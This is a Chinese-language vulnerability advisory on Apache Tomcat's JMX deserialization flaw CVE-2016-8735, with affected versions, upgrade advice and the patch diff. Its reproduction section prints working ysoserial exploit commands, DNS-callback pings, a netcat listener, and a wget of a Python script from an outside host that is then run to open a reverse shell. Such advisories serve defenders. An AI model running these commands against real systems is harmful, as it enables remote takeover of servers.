【漏洞预警】Apache Tomcat远程代码执行漏洞(CVE-2016-8735)

关注 2017-12-06 11:52:13 查看数 25837 ,评论数 0 漏洞分析
14807347803175

简介

Tomcat是运行在Apache上的应用服务器,支持运行Servlet/JSP应用程序的容器——Tomcat可看作是Apache的扩展,不过实际上Tomcat也可以独立于Apache运行。

漏洞描述

漏洞编号: CVE-2016-8735 漏洞概述: Oracle修复了JmxRemoteLifecycleListener反序列化漏洞(CVE-2016-3427)。 14807328214266 Tomcat中也使用了JmxRemoteLifecycleListener这个监听器,但是Tomcat并没有及时升级,所以导致了这个远程代码执行漏洞。 此漏洞在严重程度上被定义为Important,而非Critical,主要是因为采用此listener的数量并不算大,而且即便此listener被利用,此处JMX端口访问对攻击者而言也相当不寻常。

影响范围

  • Apache Tomcat 9.0.0.M1 to 9.0.0.M11
  • Apache Tomcat 8.5.0 to 8.5.6
  • Apache Tomcat 8.0.0.RC1 to 8.0.38
  • Apache Tomcat 7.0.0 to 7.0.72
  • Apache Tomcat 6.0.0 to 6.0.47

不受影响版本:

  • Upgrade to Apache Tomcat 9.0.0.M13 or later(Apache Tomcat 9.0.0.M12 has the fix but was not released)
  • Upgrade to Apache Tomcat 8.5.8 or later(Apache Tomcat 8.5.7 has the fix but was not released)
  • Upgrade to Apache Tomcat 8.0.39 or later
  • Upgrade to Apache Tomcat 7.0.73 or later
  • Upgrade to Apache Tomcat 6.0.48 or later

漏洞PoC

使用场景:

Zabbix 2.0 已经将 JMX 监控加入了系统中,本身不再依赖第三方工具。这是得对 Tomcat 应用以及其他 Java 应用的监控更加简单。本文简单的介绍 Zabbix 使用 JMX 方式监控 Tomcat 的过程。 POC: https://github.com/frohoff/ysoserial Tomcat 8.0.36,conf/server.xml添加配置,添加catalina-jmx-remote.jar包,修改catalina文件配置: tomcode
F:\HackTools\EXP>java -cp ysoserial-master-v0.0.4.jar ysoserial.exploit.RMIRegistryExploit localhost 10001 
Groovy1 calc.exe
jsq

漏洞复现

构造命令

Win ping一次命令:
ping -n 1 qjkpla.ceye.io
Linux ping 一次命令:
ping -c 1 qjkpla.ceye.io
利用Ceye回显看是否存在漏洞:
java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit 漏洞IP 端口 Groovy1 "ping -c 
Groovy1.test.qjkpla.ceye.io"
tomcat1 DNS回显能返回数据,说明执行了Pin命令,也就是说漏洞存在 tomcat2 直接NC监听服务:
nc -l -vv 12555
ceye1 然后构造命令:下载我们的反弹脚本:(之前用bash命令反弹没有成功所以使用Python脚本进行反弹)
java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit 漏洞IP 端口 Groovy1 "wget 
http://0ke.org/back.py -O /tmp/x.py"
执行完此命令继续构造命令,去执行刚在wget的脚本
java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit 漏洞IP 端口Groovy1 "python /tmp/x.py 反
弹主机地址 反弹端口"
tmocat3 成功反弹: 1tmocat4 1tomcat5

本地测试

本地测试效果:

201612051480904573301003

远程RCE:

201612051480904639880959 提供下测试环境和新编译的ysoserial 环境:apache-tomcat-8.0.36 链接:http://pan.baidu.com/s/1i4H9ryH 密码:0jeu

漏洞修复

升级到不受影响的版本

补丁代码

Diff of /tomcat/trunk/webapps/docs/changelog.xml
--- tomcat/trunk/webapps/docs/changelog.xml 2016/11/02 11:57:28 1767643
+++ tomcat/trunk/webapps/docs/changelog.xml 2016/11/02 11:57:36 1767644
@@ -97,6 +97,10 @@
 StoreConfig component includes the executor name when writing the
 Connector configuration. (markt)
 </fix>
+ <fix>
+ When configuring the JMX remote listener, specify the allowed types for
+ the credentials. (markt)
+ </fix>
 </changelog>
 </subsection>
/tomcat/trunk/java/org/apache/catalina/mbeans/JmxRemoteLifecycleListener.java
--- tomcat/trunk/java/org/apache/catalina/mbeans/JmxRemoteLifecycleListener.java 2016/11/02 11:57:28 1767643
+++ tomcat/trunk/java/org/apache/catalina/mbeans/JmxRemoteLifecycleListener.java 2016/11/02 11:57:36 1767644
@@ -264,6 +264,10 @@
 serverCsf = new RmiClientLocalhostSocketFactory(serverCsf);
 }
 
+ env.put("jmx.remote.rmi.server.credential.types", new String[] {
+ String[].class.getName(),
+ String.class.getName() });
+
 // Populate the env properties used to create the server
 if (serverCsf != null) {
 env.put(RMIConnectorServer.RMI_CLIENT_SOCKET_FACTORY_ATTRIBUTE, serverCsf);
@@ -328,7 +332,7 @@
 cs = new RMIConnectorServer(serviceUrl, theEnv, server,
 ManagementFactory.getPlatformMBeanServer());
 cs.start();
- registry.bind("jmxrmi", server);
+ registry.bind("jmxrmi", server.toStub());
 log.info(sm.getString("jmxRemoteLifecycleListener.start",
 Integer.toString(theRmiRegistryPort),
 Integer.toString(theRmiServerPort), serverName));
改变JMX密码认证

参考

 

* 转载请注明来自MottoIN

交流评论(0)
Loading...
点击 ,就能发表评论哦~如果您还没有账号,请 一个吧
css.php
正在加载中...